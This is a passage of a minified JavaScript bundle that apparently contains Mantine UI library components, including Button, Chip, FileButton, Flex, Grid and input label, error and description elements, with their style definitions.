[data-button]":{["vertical"===t?"marginTop":"marginLeft"]:-r,"@media (min-resolution: 192dpi)":{["vertical"===t?"marginTop":"marginLeft"]:0}}}}})),c=r(4523),s=Object.defineProperty,f=Object.getOwnPropertySymbols,d=Object.prototype.hasOwnProperty,u=Object.prototype.propertyIsEnumerable,p=(e,t,r)=>t in e?s(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,m=(e,t)=>{for(var r in t||(t={}))d.call(t,r)&&p(e,r,t[r]);if(f)for(var r of f(t))u.call(t,r)&&p(e,r,t[r]);return e},b=(e,t)=>{var r={};for(var o in e)d.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&f)for(var o of f(e))0>t.indexOf(o)&&u.call(e,o)&&(r[o]=e[o]);return r};let y={orientation:"horizontal",buttonBorderWidth:1},g=(0,o.forwardRef)((e,t)=>{let r=(0,n.N4)("ButtonGroup",y,e),{className:a,orientation:i,buttonBorderWidth:s,unstyled:f}=r,d=b(r,["className","orientation","buttonBorderWidth","unstyled"]),{classes:u,cx:p}=l({orientation:i,buttonBorderWidth:s},{name:"ButtonGroup",unstyled:f});return o.createElement(c.x,m({className:p(u.root,a),ref:t},d))});g.displayName="@mantine/core/ButtonGroup";var h=r(5227),v=Object.defineProperty,w=Object.defineProperties,O=Object.getOwnPropertyDescriptors,x=Object.getOwnPropertySymbols,k=Object.prototype.hasOwnProperty,P=Object.prototype.propertyIsEnumerable,j=(e,t,r)=>t in e?v(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,S=(e,t)=>{for(var r in t||(t={}))k.call(t,r)&&j(e,r,t[r]);if(x)for(var r of x(t))P.call(t,r)&&j(e,r,t[r]);return e},E=(e,t)=>w(e,O(t));let R={xs:{height:h.J.xs,paddingLeft:14,paddingRight:14},sm:{height:h.J.sm,paddingLeft:18,paddingRight:18},md:{height:h.J.md,paddingLeft:22,paddingRight:22},lg:{height:h.J.lg,paddingLeft:26,paddingRight:26},xl:{height:h.J.xl,paddingLeft:32,paddingRight:32},"compact-xs":{height:22,paddingLeft:7,paddingRight:7},"compact-sm":{height:26,paddingLeft:8,paddingRight:8},"compact-md":{height:30,paddingLeft:10,paddingRight:10},"compact-lg":{height:34,paddingLeft:12,paddingRight:12},"compact-xl":{height:40,paddingLeft:14,paddingRight:14}},z=e=>({display:e?"block":"inline-block",width:e?"100%":"auto"});var C=(0,i.k)((e,{color:t,size:r,radius:o,fullWidth:n,compact:a,gradient:i,variant:l,withLeftIcon:c,withRightIcon:s})=>({root:E(S(E(S(S(S(S({},function({compact:e,size:t,withLeftIcon:r,withRightIcon:o}){if(e)return R[`compact-${t}`];let n=R[t];return E(S({},n),{paddingLeft:r?n.paddingLeft/1.5:n.paddingLeft,paddingRight:o?n.paddingRight/1.5:n.paddingRight})}({compact:a,size:r,withLeftIcon:c,withRightIcon:s})),e.fn.fontStyles()),e.fn.focusStyles()),z(n)),{borderRadius:e.fn.radius(o),fontWeight:600,position:"relative",lineHeight:1,fontSize:e.fn.size({size:r,sizes:e.fontSizes}),userSelect:"none",cursor:"pointer"}),function({variant:e,theme:t,color:r,gradient:o}){let n=t.fn.variant({color:r,variant:e,gradient:o});return"gradient"===e?{border:0,backgroundImage:n.background,color:n.color,"&:hover":t.fn.hover({backgroundSize:"200%"})}:S({border:`1px solid ${n.border}`,backgroundColor:n.background,color:n.color},t.fn.hover({backgroundColor:n.hover}))}({variant:l,theme:e,color:t,gradient:i})),{"&:active":e.activeStyles,"&:disabled, &[data-disabled]":{borderColor:"transparent",backgroundColor:"dark"===e.colorScheme?e.colors.dark[4]:e.colors.gray[2],color:"dark"===e.colorScheme?e.colors.dark[6]:e.colors.gray[5],cursor:"not-allowed",backgroundImage:"none",pointerEvents:"none","&:active":{transform:"none"}},"&[data-loading]":{pointerEvents:"none","&::before":{content:'""',position:"absolute",top:-1,left:-1,right:-1,bottom:-1,backgroundColor:"dark"===e.colorScheme?e.fn.rgba(e.colors.dark[7],.5):"rgba(255, 255, 255, .5)",borderRadius:e.fn.radius(o),cursor:"not-allowed"}}}),icon:{display:"flex",alignItems:"center"},leftIcon:{marginRight:10},rightIcon:{marginLeft:10},centerLoader:{position:"absolute",left:"50%",transform:"translateX(-50%)",opacity:.5},inner:{display:"flex",alignItems:"center",justifyContent:"center",height:"100%",overflow:"visible"},label:{whiteSpace:"nowrap",height:"100%",overflow:"hidden",display:"flex",alignItems:"center"}})),N=r(966),I=r(4736),T=Object.defineProperty,D=Object.getOwnPropertySymbols,L=Object.prototype.hasOwnProperty,A=Object.prototype.propertyIsEnumerable,$=(e,t,r)=>t in e?T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,W=(e,t)=>{for(var r in t||(t={}))L.call(t,r)&&$(e,r,t[r]);if(D)for(var r of D(t))A.call(t,r)&&$(e,r,t[r]);return e},F=(e,t)=>{var r={};for(var o in e)L.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&D)for(var o of D(e))0>t.indexOf(o)&&A.call(e,o)&&(r[o]=e[o]);return r};let B={size:"sm",type:"button",variant:"filled",loaderPosition:"left"},M=(0,o.forwardRef)((e,t)=>{let r=(0,n.N4)("Button",B,e),{className:a,size:i,color:l,type:c,disabled:s,children:f,leftIcon:d,rightIcon:u,fullWidth:p,variant:m,radius:b,uppercase:y,compact:g,loading:h,loaderPosition:v,loaderProps:w,gradient:O,classNames:x,styles:k,unstyled:P}=r,j=F(r,["className","size","color","type","disabled","children","leftIcon","rightIcon","fullWidth","variant","radius","uppercase","compact","loading","loaderPosition","loaderProps","gradient","classNames","styles","unstyled"]),{classes:S,cx:E,theme:z}=C({radius:b,color:l,size:i,fullWidth:p,compact:g,gradient:O,variant:m,withLeftIcon:!!d,withRightIcon:!!u},{name:"Button",unstyled:P,classNames:x,styles:k}),T=z.fn.variant({color:l,variant:m}),D=o.createElement(N.a,W({color:T.color,size:z.fn.size({size:i,sizes:R}).height/2},w));return o.createElement(I.k,W({className:E(S.root,a),type:c,disabled:s,"data-button":!0,"data-disabled":s||void 0,"data-loading":h||void 0,ref:t,unstyled:P},j),o.createElement("div",{className:S.inner},(d||h&&"left"===v)&&o.createElement("span",{className:E(S.icon,S.leftIcon)},h&&"left"===v?D:d),h&&"center"===v&&o.createElement("span",{className:S.centerLoader},D),o.createElement("span",{className:S.label,style:{textTransform:y?"uppercase":void 0}},f),(u||h&&"right"===v)&&o.createElement("span",{className:E(S.icon,S.rightIcon)},h&&"right"===v?D:u)))});M.displayName="@mantine/core/Button",M.Group=g;let _=(0,a.F)(M)},8602:function(e,t,r){r.d(t,{A:function(){return U}});var o=r(7294),n=r(6289),a=r(5851),i=r(4761);let l=(0,o.createContext)(null),c=l.Provider,s=()=>(0,o.useContext)(l);var f=r(1232),d=Object.defineProperty,u=Object.getOwnPropertySymbols,p=Object.prototype.hasOwnProperty,m=Object.prototype.propertyIsEnumerable,b=(e,t,r)=>t in e?d(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,y=(e,t)=>{for(var r in t||(t={}))p.call(t,r)&&b(e,r,t[r]);if(u)for(var r of u(t))m.call(t,r)&&b(e,r,t[r]);return e},g=(e,t)=>{var r={};for(var o in e)p.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&u)for(var o of u(e))0>t.indexOf(o)&&m.call(e,o)&&(r[o]=e[o]);return r};let h={spacing:"xs"};function v(e){let t=(0,i.N4)("ChipGroup",h,e),{value:r,defaultValue:n,onChange:l,spacing:s,multiple:d,children:u,unstyled:p}=t,m=g(t,["value","defaultValue","onChange","spacing","multiple","children","unstyled"]),[b,v]=(0,a.C)({value:r,defaultValue:n,finalValue:d?[]:null,onChange:l}),w=e=>Array.isArray(b)?b.includes(e):e===b,O=e=>{let t=e.currentTarget.value;Array.isArray(b)?v(b.includes(t)?b.filter(e=>e!==t):[...b,t]):v(t)};return o.createElement(c,{value:{isChipSelected:w,onChange:O,multiple:d}},o.createElement(f.Z,y({spacing:s,unstyled:p},m),u))}v.displayName="@mantine/core/ChipGroup";var w=r(6817),O=Object.defineProperty,x=Object.defineProperties,k=Object.getOwnPropertyDescriptors,P=Object.getOwnPropertySymbols,j=Object.prototype.hasOwnProperty,S=Object.prototype.propertyIsEnumerable,E=(e,t,r)=>t in e?O(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,R=(e,t)=>{for(var r in t||(t={}))j.call(t,r)&&E(e,r,t[r]);if(P)for(var r of P(t))S.call(t,r)&&E(e,r,t[r]);return e},z=(e,t)=>x(e,k(t));let C={xs:24,sm:28,md:32,lg:36,xl:40},N={xs:10,sm:12,md:14,lg:16,xl:18},I={xs:16,sm:20,md:24,lg:28,xl:32},T={xs:7.5,sm:10,md:11.5,lg:13,xl:15};var D=(0,w.k)((e,{radius:t,size:r,color:o},n)=>({root:{},label:z(R({ref:n("label")},e.fn.fontStyles()),{boxSizing:"border-box",color:"dark"===e.colorScheme?e.colors.dark[0]:e.black,display:"inline-block",alignItems:"center",userSelect:"none",border:"1px solid transparent",borderRadius:e.fn.radius(t),height:e.fn.size({size:r,sizes:C}),fontSize:e.fn.size({size:r,sizes:e.fontSizes}),lineHeight:`${e.fn.size({size:r,sizes:C})-2}px`,paddingLeft:e.fn.size({size:r,sizes:I}),paddingRight:e.fn.size({size:r,sizes:I}),cursor:"pointer",whiteSpace:"nowrap",transition:"background-color 100ms ease",WebkitTapHighlightColor:"transparent",'&[data-variant="filled"]':R({backgroundColor:"dark"===e.colorScheme?e.colors.dark[4]:e.colors.gray[1]},e.fn.hover({backgroundColor:"dark"===e.colorScheme?e.colors.dark[5]:e.colors.gray[0]})),'&[data-variant="outline"]':R({backgroundColor:"dark"===e.colorScheme?e.colors.dark[6]:e.white,borderColor:"dark"===e.colorScheme?e.colors.dark[4]:e.colors.gray[4]},e.fn.hover({backgroundColor:"dark"===e.colorScheme?e.colors.dark[5]:e.colors.gray[0]})),"&[data-disabled]":z(R({backgroundColor:`${"dark"===e.colorScheme?e.colors.dark[5]:e.colors.gray[1]} !important`,borderColor:`${"dark"===e.colorScheme?e.colors.dark[5]:e.colors.gray[1]} !important`,color:"dark"===e.colorScheme?e.colors.dark[3]:e.colors.gray[5],cursor:"not-allowed"},e.fn.hover({backgroundColor:"dark"===e.colorScheme?e.colors.dark[5]:e.colors.gray[1]})),{[`& .${n("iconWrapper")}`]:{color:"dark"===e.colorScheme?e.colors.dark[3]:e.colors.gray[5]}}),"&[data-checked]":{paddingLeft:e.fn.size({size:r,sizes:T}),paddingRight:e.fn.size({size:r,sizes:T}),'&[data-variant="outline"]':{border:`1px solid ${e.fn.variant({variant:"filled",color:o}).background}`},'&[data-variant="filled"]':{"&, &:hover":{backgroundColor:e.fn.variant({variant:"light",color:o}).background}}}}),iconWrapper:{ref:n("iconWrapper"),color:e.fn.variant({variant:"filled",color:o}).background,width:e.fn.size({size:r,sizes:N})+e.fn.size({size:r,sizes:e.spacing})/1.5,maxWidth:e.fn.size({size:r,sizes:N})+e.fn.size({size:r,sizes:e.spacing})/1.5,height:e.fn.size({size:r,sizes:N}),display:"inline-block",verticalAlign:"middle",overflow:"hidden"},checkIcon:{width:e.fn.size({size:r,sizes:N}),height:e.fn.size({size:r,sizes:N})/1.1,display:"block"},input:{width:0,height:0,padding:0,opacity:0,margin:0,"&:focus":{outline:"none",[`& + .${n("label")}`]:R({},"always"===e.focusRing||"auto"===e.focusRing?e.focusRingStyles.styles(e):e.focusRingStyles.resetStyles(e)),"&:focus:not(:focus-visible)":{[`& + .${n("label")}`]:R({},"auto"===e.focusRing||"never"===e.focusRing?e.focusRingStyles.resetStyles(e):null)}}}})),L=r(2756),A=r(4523),$=Object.defineProperty,W=Object.getOwnPropertySymbols,F=Object.prototype.hasOwnProperty,B=Object.prototype.propertyIsEnumerable,M=(e,t,r)=>t in e?$(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,_=(e,t)=>{for(var r in t||(t={}))F.call(t,r)&&M(e,r,t[r]);if(W)for(var r of W(t))B.call(t,r)&&M(e,r,t[r]);return e};function H(e){return o.createElement("svg",_({viewBox:"0 0 10 7",fill:"none",xmlns:"http://www.w3.org/2000/svg"},e),o.createElement("path",{d:"M4 4.586L1.707 2.293A1 1 0 1 0 .293 3.707l3 3a.997.997 0 0 0 1.414 0l5-5A1 1 0 1 0 8.293.293L4 4.586z",fill:"currentColor",fillRule:"evenodd",clipRule:"evenodd"}))}var Y=Object.defineProperty,G=Object.getOwnPropertySymbols,V=Object.prototype.hasOwnProperty,X=Object.prototype.propertyIsEnumerable,q=(e,t,r)=>t in e?Y(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,K=(e,t)=>{for(var r in t||(t={}))V.call(t,r)&&q(e,r,t[r]);if(G)for(var r of G(t))X.call(t,r)&&q(e,r,t[r]);return e},Z=(e,t)=>{var r={};for(var o in e)V.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&G)for(var o of G(e))0>t.indexOf(o)&&X.call(e,o)&&(r[o]=e[o]);return r};let J={type:"checkbox",size:"sm",radius:"xl",variant:"outline"},U=(0,o.forwardRef)((e,t)=>{let r=(0,i.N4)("Chip",J,e),{radius:l,type:c,size:f,variant:d,disabled:u,id:p,color:m,children:b,className:y,classNames:g,style:h,styles:v,checked:w,defaultChecked:O,onChange:x,sx:k,wrapperProps:P,value:j,unstyled:S}=r,E=Z(r,["radius","type","size","variant","disabled","id","color","children","className","classNames","style","styles","checked","defaultChecked","onChange","sx","wrapperProps","value","unstyled"]),R=s(),z=(0,n.M)(p),{systemStyles:C,rest:N}=(0,L.x)(E),{classes:I,cx:T}=D({radius:l,size:f,color:m},{classNames:g,styles:v,unstyled:S,name:"Chip"}),[$,W]=(0,a.C)({value:w,defaultValue:O,finalValue:!1,onChange:x}),F=R?{checked:R.isChipSelected(j),onChange:R.onChange,type:R.multiple?"checkbox":"radio"}:{},B=F.checked||$;return o.createElement(A.x,K(K({className:T(I.root,y),style:h,sx:k},C),P),o.createElement("input",K(K({type:c,className:I.input,checked:B,onChange:e=>W(e.currentTarget.checked),id:z,disabled:u,ref:t,value:j},F),N)),o.createElement("label",{htmlFor:z,"data-checked":B||void 0,"data-disabled":u||void 0,"data-variant":d,className:I.label},B&&o.createElement("span",{className:I.iconWrapper},o.createElement(H,{className:I.checkIcon})),b))});U.displayName="@mantine/core/Chip",U.Group=v},8054:function(e,t,r){r.d(t,{S:function(){return b}});var o=r(7294),n=r(4761),a=r(3979),i=r(665),l=Object.defineProperty,c=Object.getOwnPropertySymbols,s=Object.prototype.hasOwnProperty,f=Object.prototype.propertyIsEnumerable,d=(e,t,r)=>t in e?l(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,u=(e,t)=>{for(var r in t||(t={}))s.call(t,r)&&d(e,r,t[r]);if(c)for(var r of c(t))f.call(t,r)&&d(e,r,t[r]);return e},p=(e,t)=>{var r={};for(var o in e)s.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&c)for(var o of c(e))0>t.indexOf(o)&&f.call(e,o)&&(r[o]=e[o]);return r};let m={multiple:!1},b=(0,o.forwardRef)((e,t)=>{let r=(0,n.N4)("FileButton",m,e),{onChange:l,children:c,multiple:s,accept:f,name:d,form:b,resetRef:y,disabled:g,capture:h,inputProps:v}=r,w=p(r,["onChange","children","multiple","accept","name","form","resetRef","disabled","capture","inputProps"]),O=(0,o.useRef)(),x=()=>{g||O.current.click()},k=e=>{s?l(Array.from(e.currentTarget.files)):l(e.currentTarget.files[0]||null)},P=()=>{O.current.value=""};return(0,a.k)(y,P),o.createElement(o.Fragment,null,c(u({onClick:x},w)),o.createElement("input",u({style:{display:"none"},type:"file",accept:f,multiple:s,onChange:k,ref:(0,i.Y)(t,O),name:d,form:b,capture:h},v)))});b.displayName="@mantine/core/FileButton"},9876:function(e,t,r){r.d(t,{k:function(){return w}});var o=r(7294),n=r(4761),a=r(7818);let i={gap:{type:"spacing",property:"gap"},rowGap:{type:"spacing",property:"rowGap"},columnGap:{type:"spacing",property:"columnGap"},align:{type:"default",property:"alignItems"},justify:{type:"default",property:"justifyContent"},wrap:{type:"default",property:"flexWrap"},direction:{type:"default",property:"flexDirection"}};var l=r(4523),c=r(1686),s=Object.defineProperty,f=Object.defineProperties,d=Object.getOwnPropertyDescriptors,u=Object.getOwnPropertySymbols,p=Object.prototype.hasOwnProperty,m=Object.prototype.propertyIsEnumerable,b=(e,t,r)=>t in e?s(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,y=(e,t)=>{for(var r in t||(t={}))p.call(t,r)&&b(e,r,t[r]);if(u)for(var r of u(t))m.call(t,r)&&b(e,r,t[r]);return e},g=(e,t)=>f(e,d(t)),h=(e,t)=>{var r={};for(var o in e)p.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&u)for(var o of u(e))0>t.indexOf(o)&&m.call(e,o)&&(r[o]=e[o]);return r};let v={},w=(0,o.forwardRef)((e,t)=>{let r=(0,n.N4)("Flex",v,e),{gap:s,rowGap:f,columnGap:d,align:u,justify:p,wrap:m,direction:b,sx:w}=r,O=h(r,["gap","rowGap","columnGap","align","justify","wrap","direction","sx"]);return o.createElement(l.x,g(y({},O),{sx:[{display:"flex"},e=>(0,c.M)({gap:s,rowGap:f,columnGap:d,align:u,justify:p,wrap:m,direction:b},e,i),...(0,a.R)(w)],ref:t}))});w.displayName="@mantine/core/Flex"},50:function(e,t,r){r.d(t,{r:function(){return X}});var o=r(7294),n=r(4761),a=r(8216);let[i,l]=(0,a.R)("Grid component was not found in tree");var c=r(7447),s=r(6817),f=Object.defineProperty,d=Object.getOwnPropertySymbols,u=Object.prototype.hasOwnProperty,p=Object.prototype.propertyIsEnumerable,m=(e,t,r)=>t in e?f(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,b=(e,t)=>{for(var r in t||(t={}))u.call(t,r)&&m(e,r,t[r]);if(d)for(var r of d(t))p.call(t,r)&&m(e,r,t[r]);return e};let y=(e,t)=>"content"===e?"auto":"auto"===e?"0px":e?`${100/(t/e)}%`:void 0,g=(e,t,r)=>r||"auto"===e||"content"===e?"unset":y(e,t),h=(e,t)=>{if(e)return"auto"===e||t?1:0},v=(e,t)=>0===e?0:e?`${100/(t/e)}%`:void 0,w=(e,t)=>void 0!==e?t.fn.size({size:e,sizes:t.spacing})/2:void 0;var O=(0,s.k)((e,{gutter:t,gutterXs:r,gutterSm:o,gutterMd:n,gutterLg:a,gutterXl:i,grow:l,offset:s,offsetXs:f,offsetSm:d,offsetMd:u,offsetLg:p,offsetXl:m,columns:O,span:x,xs:k,sm:P,md:j,lg:S,xl:E,order:R,orderXs:z,orderSm:C,orderMd:N,orderLg:I,orderXl:T})=>({col:b({boxSizing:"border-box",flexGrow:h(x,l),order:R,padding:w(t,e),marginLeft:v(s,O),flexBasis:y(x,O),flexShrink:0,width:"content"===x?"auto":void 0,maxWidth:g(x,O,l)},function({sizes:e,offsets:t,orders:r,theme:o,columns:n,gutters:a,grow:i}){return c.j1.reduce((l,c)=>(l[`@media (min-width: ${o.breakpoints[c]}px)`]={order:r[c],flexBasis:y(e[c],n),padding:w(a[c],o),flexShrink:0,width:"content"===e[c]?"auto":void 0,maxWidth:g(e[c],n,i),marginLeft:v(t[c],n),flexGrow:h(e[c],i)},l),{})}({sizes:{xs:k,sm:P,md:j,lg:S,xl:E},offsets:{xs:f,sm:d,md:u,lg:p,xl:m},orders:{xs:z,sm:C,md:N,lg:I,xl:T},gutters:{xs:r,sm:o,md:n,lg:a,xl:i},theme:e,columns:O,grow:l}))})),x=r(4523),k=Object.defineProperty,P=Object.getOwnPropertySymbols,j=Object.prototype.hasOwnProperty,S=Object.prototype.propertyIsEnumerable,E=(e,t,r)=>t in e?k(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,R=(e,t)=>{for(var r in t||(t={}))j.call(t,r)&&E(e,r,t[r]);if(P)for(var r of P(t))S.call(t,r)&&E(e,r,t[r]);return e},z=(e,t)=>{var r={};for(var o in e)j.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&P)for(var o of P(e))0>t.indexOf(o)&&S.call(e,o)&&(r[o]=e[o]);return r};let C={},N=(0,o.forwardRef)((e,t)=>{let r=(0,n.N4)("GridCol",C,e),{children:a,span:i,offset:c,offsetXs:s,offsetSm:f,offsetMd:d,offsetLg:u,offsetXl:p,xs:m,sm:b,md:y,lg:g,xl:h,order:v,orderXs:w,orderSm:k,orderMd:P,orderLg:j,orderXl:S,className:E,id:N,unstyled:I}=r,T=z(r,["children","span","offset","offsetXs","offsetSm","offsetMd","offsetLg","offsetXl","xs","sm","md","lg","xl","order","orderXs","orderSm","orderMd","orderLg","orderXl","className","id","unstyled"]),D=l(),L=i||D.columns,{classes:A,cx:$}=O({gutter:D.gutter,gutterXs:D.gutterXs,gutterSm:D.gutterSm,gutterMd:D.gutterMd,gutterLg:D.gutterLg,gutterXl:D.gutterXl,offset:c,offsetXs:s,offsetSm:f,offsetMd:d,offsetLg:u,offsetXl:p,xs:m,sm:b,md:y,lg:g,xl:h,order:v,orderXs:w,orderSm:k,orderMd:P,orderLg:j,orderXl:S,grow:D.grow,columns:D.columns,span:L},{unstyled:I,name:"Grid"});return!("auto"===L||"content"===L||"number"==typeof L&&L>0&&L%1==0)||L>D.columns?null:o.createElement(x.x,R({className:$(A.col,E),ref:t},T),a)});N.displayName="@mantine/core/Col";var I=Object.defineProperty,T=Object.getOwnPropertySymbols,D=Object.prototype.hasOwnProperty,L=Object.prototype.propertyIsEnumerable,A=(e,t,r)=>t in e?I(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,$=(e,t)=>{for(var r in t||(t={}))D.call(t,r)&&A(e,r,t[r]);if(T)for(var r of T(t))L.call(t,r)&&A(e,r,t[r]);return e},W=(0,s.k)((e,{justify:t,align:r,gutter:o,gutterXs:n,gutterSm:a,gutterMd:i,gutterLg:l,gutterXl:s})=>{var f,d;return{root:$({margin:-e.fn.size({size:o,sizes:e.spacing})/2,display:"flex",flexWrap:"wrap",justifyContent:t,alignItems:r},(f={xs:n,sm:a,md:i,lg:l,xl:s},d=e,c.j1.reduce((e,t)=>(void 0!==f[t]&&(e[`@media (min-width: ${d.breakpoints[t]}px)`]={margin:-d.fn.size({size:f[t],sizes:d.spacing})/2}),e),{})))}}),F=Object.defineProperty,B=Object.getOwnPropertySymbols,M=Object.prototype.hasOwnProperty,_=Object.prototype.propertyIsEnumerable,H=(e,t,r)=>t in e?F(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Y=(e,t)=>{for(var r in t||(t={}))M.call(t,r)&&H(e,r,t[r]);if(B)for(var r of B(t))_.call(t,r)&&H(e,r,t[r]);return e},G=(e,t)=>{var r={};for(var o in e)M.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&B)for(var o of B(e))0>t.indexOf(o)&&_.call(e,o)&&(r[o]=e[o]);return r};let V={gutter:"md",justify:"flex-start",align:"stretch",columns:12},X=(0,o.forwardRef)((e,t)=>{let r=(0,n.N4)("Grid",V,e),{gutter:a,gutterXs:l,gutterSm:c,gutterMd:s,gutterLg:f,gutterXl:d,children:u,grow:p,justify:m,align:b,columns:y,className:g,id:h,unstyled:v}=r,w=G(r,["gutter","gutterXs","gutterSm","gutterMd","gutterLg","gutterXl","children","grow","justify","align","columns","className","id","unstyled"]),{classes:O,cx:k}=W({gutter:a,justify:m,align:b,gutterXs:l,gutterSm:c,gutterMd:s,gutterLg:f,gutterXl:d},{unstyled:v,name:"Grid"});return o.createElement(i,{value:{gutter:a,gutterXs:l,gutterSm:c,gutterMd:s,gutterLg:f,gutterXl:d,grow:p,columns:y}},o.createElement(x.x,Y({className:k(O.root,g),ref:t},w),u))});X.Col=N,X.displayName="@mantine/core/Grid"},4151:function(e,t,r){r.d(t,{I:function(){return eD}});var o=r(7294),n=r(4761),a=r(8427),i=r(6817),l=(0,i.k)((e,{size:t})=>({label:{display:"inline-block",fontSize:e.fn.size({size:t,sizes:e.fontSizes}),fontWeight:500,color:"dark"===e.colorScheme?e.colors.dark[0]:e.colors.gray[9],wordBreak:"break-word",cursor:"default",WebkitTapHighlightColor:"transparent"},required:{color:e.fn.variant({variant:"filled",color:"red"}).background}})),c=r(4523),s=Object.defineProperty,f=Object.getOwnPropertySymbols,d=Object.prototype.hasOwnProperty,u=Object.prototype.propertyIsEnumerable,p=(e,t,r)=>t in e?s(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,m=(e,t)=>{for(var r in t||(t={}))d.call(t,r)&&p(e,r,t[r]);if(f)for(var r of f(t))u.call(t,r)&&p(e,r,t[r]);return e},b=(e,t)=>{var r={};for(var o in e)d.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&f)for(var o of f(e))0>t.indexOf(o)&&u.call(e,o)&&(r[o]=e[o]);return r};let y={labelElement:"label",size:"sm"},g=(0,o.forwardRef)((e,t)=>{let r=(0,n.N4)("InputLabel",y,e),{labelElement:a,children:i,required:s,size:f,classNames:d,styles:u,unstyled:p,className:g,htmlFor:h,__staticSelector:v}=r,w=b(r,["labelElement","children","required","size","classNames","styles","unstyled","className","htmlFor","__staticSelector"]),{classes:O,cx:x}=l({size:f},{name:["InputWrapper",v],classNames:d,styles:u,unstyled:p});return o.createElement(c.x,m({component:a,ref:t,className:x(O.label,g),htmlFor:"label"===a?h:void 0},w),i,s&&o.createElement("span",{className:O.required,"aria-hidden":!0}," *"))});g.displayName="@mantine/core/InputLabel";var h=(0,i.k)((e,{size:t})=>({error:{wordBreak:"break-word",color:e.fn.variant({variant:"filled",color:"red"}).background,fontSize:e.fn.size({size:t,sizes:e.fontSizes})-2,lineHeight:1.2,display:"block"}})),v=r(5117),w=Object.defineProperty,O=Object.getOwnPropertySymbols,x=Object.prototype.hasOwnProperty,k=Object.prototype.propertyIsEnumerable,P=(e,t,r)=>t in e?w(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,j=(e,t)=>{for(var r in t||(t={}))x.call(t,r)&&P(e,r,t[r]);if(O)for(var r of O(t))k.call(t,r)&&P(e,r,t[r]);return e},S=(e,t)=>{var r={};for(var o in e)x.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&O)for(var o of O(e))0>t.indexOf(o)&&k.call(e,o)&&(r[o]=e[o]);return r};let E={size:"sm"},R=(0,o.forwardRef)((e,t)=>{let r=(0,n.N4)("InputError",E,e),{children:a,className:i,classNames:l,styles:c,unstyled:s,size:f,__staticSelector:d}=r,u=S(r,["children","className","classNames","styles","unstyled","size","__staticSelector"]),{classes:p,cx:m}=h({size:f},{name:["InputWrapper",d],classNames:l,styles:c,unstyled:s});return o.createElement(v.x,j({className:m(p.error,i),ref:t},u),a)});R.displayName="@mantine/core/InputError";var z=(0,i.k)((e,{size:t})=>({description:{wordBreak:"break-word",color:"dark"===e.colorScheme?e.colors.dark[2]:e.colors.gray[6],fontSize:e.fn.size({size:t,sizes:e.fontSizes})-2,lineHeight:1.2,display:"block"}})),C=Object.defineProperty,N=Object.getOwnPropertySymbols,I=Object.prototype.hasOwnProperty,T=Object.prototype.propertyIsEnumerable,D=(e,t,r)=>t in e?C(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,L=(e,t)=>{for(var r in t||(t={}))I.call(t,r)&&D(e,r,t[r]);if(N)for(var r of N(t))T.call(t,r)&&D(e,r,t[r]);return e},A=(e,t)=>{var r={};for(var o in e)I.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&N)for(var o of N(e))0>t.indexOf(o)&&T.call(e,o)&&(r[o]=e[o]);return r};let $={size:"sm"},W=(0,o.forwardRef)((e,t)=>{let r=(0,n.N4)("InputDescription",$,e),{children:a,className:i,classNames:l,styles:c,unstyled:s,size:f,__staticSelector:d}=r,u=A(r,["children","className","classNames","styles","unstyled","size","__staticSelector"]),{classes:p,cx:m}=z({size:f},{name:["InputWrapper",d],classNames:l,styles:c,unstyled:s});return o.createElement(v.x,L({color:"dimmed",className:m(p.description,i),ref:t,unstyled:s},u),a)});W.displayName="@mantine/core/InputDescription";let F=(0,o.createContext)({offsetBottom:!1,offsetTop:!1,describedBy:void 0}),B=F.Provider,M=()=>(0,o.useContext)(F);var _=Object.defineProperty,H=Object.defineProperties,Y=Object.getOwnPropertyDescriptors,G=Object.getOwnPropertySymbols,V=Object.prototype.hasOwnProperty,X=Object.prototype.propertyIsEnumerable,q=(e,t,r)=>t in e?_(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,K=(e,t)=>{for(var r in t||(t={}))V.call(t,r)&&q(e,r,t[r]);if(G)for(var r of G(t))X.call(t,r)&&q(e,r,t[r]);return e},Z=(e,t)=>H(e,Y(t)),J=(0,i.k)(e=>({root:Z(K({},e.fn.fontStyles()),{lineHeight:e.lineHeight})})),U=Object.defineProperty,Q=Object.defineProperties,ee=Object.getOwnPropertyDescriptors,et=Object.getOwnPropertySymbols,er=Object.prototype.hasOwnProperty,eo=Object.prototype.propertyIsEnumerable,en=(e,t,r)=>t in e?U(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,ea=(e,t)=>{for(var r in t||(t={}))er.call(t,r)&&en(e,r,t[r]);if(et)for(var r of et(t))eo.call(t,r)&&en(e,r,t[r]);return e},ei=(e,t)=>Q(e,ee(t)),el=(e,t)=>{var r={};for(var o in 